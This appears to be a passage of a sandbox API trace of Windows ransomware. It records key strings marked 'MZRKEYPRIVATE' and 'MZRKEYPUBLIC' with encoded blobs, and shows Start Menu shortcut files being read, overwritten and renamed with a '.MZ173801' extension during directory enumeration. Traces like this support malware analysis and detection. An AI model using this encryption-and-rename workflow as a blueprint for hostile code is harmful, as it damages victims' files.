cATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.371] GetCurrentThreadId () returned 0xab4 [0212.371] GetCurrentThreadId () returned 0xab4 [0212.371] GetCurrentThreadId () returned 0xab4 [0212.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.373] GetCurrentThreadId () returned 0xab4 [0212.373] GetCurrentThreadId () returned 0xab4 [0212.373] GetCurrentThreadId () returned 0xab4 [0212.373] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.373] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.373] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.373] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x4dc [0212.373] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.373] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x4dc, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x4dc, lpOverlapped=0x0) returned 1 [0212.385] CloseHandle (hObject=0x330) returned 1 [0212.385] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.387] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x4dc, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x4dc, lpOverlapped=0x0) returned 1 [0212.388] CloseHandle (hObject=0x330) returned 1 [0212.388] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Speech Recognition.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\speech recognition.lnk.mz173801")) returned 1 [0212.389] GetCurrentThreadId () returned 0xab4 [0212.389] GetCurrentThreadId () returned 0xab4 [0212.389] GetCurrentThreadId () returned 0xab4 [0212.389] GetCurrentThreadId () returned 0xab4 [0212.389] GetCurrentThreadId () returned 0xab4 [0212.389] GetCurrentThreadId () returned 0xab4 [0212.389] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Speech Recognition.lnk", cAlternateFileName="")) returned 0 [0212.389] GetLastError () returned 0x12 [0212.389] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0212.389] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8bb31a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa8bb31a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5e8 [0212.389] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0212.389] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.389] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8bb31a8, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa8bb31a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0212.390] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.390] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.390] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f43b93, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e5b1b6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0212.390] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8bb31a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Speech Recognition.lnk.MZ173801", cAlternateFileName="")) returned 1 [0212.390] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.390] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.390] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8bb31a8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Speech Recognition.lnk.MZ173801", cAlternateFileName="")) returned 0 [0212.390] GetLastError () returned 0x12 [0212.390] FindClose (in: hFindFile=0xa1b5e8 | out: hFindFile=0xa1b5e8) returned 1 [0212.390] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0212.390] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0212.390] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.390] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0212.391] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0212.391] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x69cb7dde, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.391] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0212.391] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.391] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98a4376e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98a4376e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Math Input Panel.lnk", cAlternateFileName="")) returned 1 [0212.391] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.391] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.391] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98a4376e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98a4376e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x49e)) returned 1 [0212.391] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\math input panel.lnk")) returned 0x20 [0212.391] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Math Input Panel.lnk", dwFileAttributes=0x80) returned 1 [0212.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4